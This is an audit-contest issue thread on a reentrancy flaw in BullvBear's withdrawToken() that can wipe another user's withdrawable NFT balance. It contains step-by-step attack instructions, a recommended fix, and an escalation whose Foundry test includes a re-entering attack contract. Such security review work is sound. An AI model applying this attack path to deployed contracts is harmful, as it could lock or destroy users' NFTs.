Open sherlock-admin opened 1 year ago
PR fixing checks-effects-interactions pattern : https://github.com/BullvBear/bvb-solidity/pull/15
PR fixing another issue, removing the withdrawToken() method : https://github.com/BullvBear/bvb-solidity/pull/14
Escalate for 1 USDC
Reason There is no working re-entrancy attack path, the risk level should be LOW.
(1) The recipient has been changed to victim bull while re-entry 'settleContract' described in submission #77, #88, a next call from attacker to 'withdrawToken' will fail
(2) The underlying token has been transfered to attacker bull, so re-entry 'withdrawToken' decribed in submission #8 would not work too
(3) The last re-entry point is 'transferPosition', no damage too
Test case
// SPDX-License-Identifier: MIT pragma solidity >=0.8.17; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {Base} from "./Base.t.sol"; import {BvbProtocol} from "src/BvbProtocol.sol"; import "forge-std/console.sol"; contract Victim { // Some collection contracts limit max number of NFTs an account can hold. // This contract simulates an account subjected to the limit, that is the account can't receive // NFT now, but later if it sends/sells some NFTs out, it can receive NFT again, withdraw NTFs // which are kept in BvbProtocol due to previous limit. bool private _limited; function setLimited(bool limited) external { _limited = limited; } function onERC721Received( address , address , uint256 , bytes calldata ) external returns (bytes4) { require(!_limited); return this.onERC721Received.selector; } function withdrawToken(address bvb, bytes32 orderHash, uint tokenId) external { BvbProtocol(bvb).withdrawToken(orderHash, tokenId); } } contract BadBearsAttackContract { bool private attack; bool private receiveNFT; address private owner; address private target; uint private tokenId; bytes32 private contractId; BvbProtocol.Order private order; constructor () { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function enableAttack(address _target, bytes32 _contractId, uint _tokenId, BvbProtocol.Order calldata _order) external onlyOwner { attack = true; target = _target; contractId = _contractId; tokenId = _tokenId; order = _order; } function enableReceive(bool _receive) external onlyOwner { receiveNFT = _receive; } function onERC721Received( address , address , uint256 id, bytes calldata ) external returns (bytes4) { require(receiveNFT); if (attack && tokenId == id) { attack = false; BvbProtocol(target).settleContract(order, id); BvbProtocol(target).withdrawToken(contractId, id); } return this.onERC721Received.selector; } } contract ExploitWithdrawReentrancy is Base { Victim internal victim; BadBearsAttackContract internal attack; function setUp() public { victim = new Victim(); attack = new BadBearsAttackContract(); bvb.setAllowedAsset(address(weth), true); bvb.setAllowedCollection(address(doodles), true); deal(address(weth), bull, 0xffffffff); deal(address(weth), bear, 0xffffffff); deal(address(weth), address(victim), 0xffffffff); deal(address(weth), address(attack), 0xffffffff); vm.prank(bull); weth.approve(address(bvb), type(uint).max); vm.prank(bear); weth.approve(address(bvb), type(uint).max); vm.prank(address(victim)); weth.approve(address(bvb), type(uint).max); vm.prank(address(attack)); weth.approve(address(bvb), type(uint).max); } function testExploitWithdrawReentrancy() public { BvbProtocol.Order memory order = defaultOrder(); order.maker = bear; order.isBull = false; bytes32 orderHash = bvb.hashOrder(order); // Sign the order bytes memory signature = signOrderHash(bearPrivateKey, orderHash); // Taker (Bull) match with this order vm.prank(address(victim)); bvb.matchOrder(order, signature); // Give a NFT to the Bear + approve uint tokenId = 1234; doodles.mint(bear, tokenId); vm.prank(bear); doodles.setApprovalForAll(address(bvb), true); // Bad bear create a new order with the same collection but earlier expiry, and match with self's attack contract BvbProtocol.Order memory order2 = defaultOrder(); order2.maker = bear; order2.isBull = false; order2.expiry = order.expiry - 1 days; bytes32 orderHash2 = bvb.hashOrder(order2); bytes memory signature2 = signOrderHash(bearPrivateKey, orderHash2); vm.prank(address(attack)); bvb.matchOrder(order2, signature2); vm.prank(bear); bvb.settleContract(order2, tokenId); assertEq(bvb.withdrawableCollectionTokenId(address(doodles), tokenId), address(attack), "Token kept for badBear"); vm.prank(address(attack)); doodles.setApprovalForAll(address(bvb), true); // transfer the previous position to attack contract vm.prank(bear); bvb.transferPosition(orderHash, false, address(attack)); attack.enableReceive(true); attack.enableAttack(address(bvb), orderHash2, tokenId, order); victim.setLimited(true); vm.expectRevert(); vm.prank(address(attack)); bvb.withdrawToken(orderHash2, tokenId); } }
You've deleted an escalation for this issue.
Fix confirmed
kirk-baird
high
Reentrancy in
withdrawToken()
May Delete The Next User's BalanceSummary
The function
withdrawToken()
does not have a reentrancy guard and calls an external contract. It is possible to reentersettleContract()
to spend the same token that was just transferred out. If thesafeTransferFrom()
insettleContract()
fails then the token balance is added to the bull. However, whenwithdrawToken()
continues execution it will delete the balance of the bull.Vulnerability Detail
withdrawToken()
makes a state change towithdrawableCollectionTokenId[collection][tokenId]
after it makes an external call to an ERC721 contractsafeTransferFrom()
. Since this external call will relinquish control to theto
address which isrecipient
, therecipient
smart contract may reentersettleContract()
.When calling
settleContract()
set thetokenId
function parameter to the same one just transferred inwithdawToken()
. If transfer to thebull
fails then the token is instead transferred toBvbProtocol
and balance added to the bull,withdrawableCollectionTokenId[order.collection][tokenId] = bull
After
settleContract()
finishes executing control will revert back towithdrawToken()
which then executes the linewithdrawableCollectionTokenId[collection][tokenId] = address(0)
. The balance of the bull is therefore delete for that token.e.g. If we know a transfer will fail to a bull in a matched order we can a) create a fake order with ourselves b) reenter from
withdrawToken()
intosettleContract()
and therefore delete the bullswithdrawableCollectionTokenId
balance. Steps:BvpProtocol.matchOrder(orderA)
create a fake order (A) with ones selfBvpProtocol.settleOrder(orderA)
settle the fake order (A) with ones self and ensure the ERC721 transfer from bull to bear fails.BvpProtocol.matchOrder(orderB)
match the real order (B), this can be done at any timeBvbProtocol.withdrawToken(orderA, token1)
the following setups happen during line #456ERC721(collection).safeTransferFrom(this, recipient, tokenId)
(recipient
is bull from the fake order (A))recipient.onERC721Received()
called bysafeTransferFrom()
and gives execution control toreceipient
BvpProtocol.settleOrder(orderB, token1)
reenter to settle the real order usingtoken1
which doeswithdrawableCollectionTokenId[order.collection][tokenId] = bull
BvbProtocol.withdrawToken(orderA, token1)
after line #456 which doeswithdrawableCollectionTokenId[collection][tokenId] = address(0)
Impact
If we know a transfer is going to fail to a
bull
for an ERC721 we can ensure the NFT is locked in theBvbProtocol
contract. This NFT will be unrecoverable.Code Snippet
withdrawToken()
settleContract()
Tool used
Manual Review
Recommendation
I recommend both of these solutions though either one will be sufficient on its own:
nonReentrant
modifier towithdrawToken()
withdrawableCollectionTokenId[collection][tokenId] = address(0)
before performingIERC721(collection).safeTransferFrom(address(this), recipient, tokenId)
to apply the checks-effects-interactions pattern.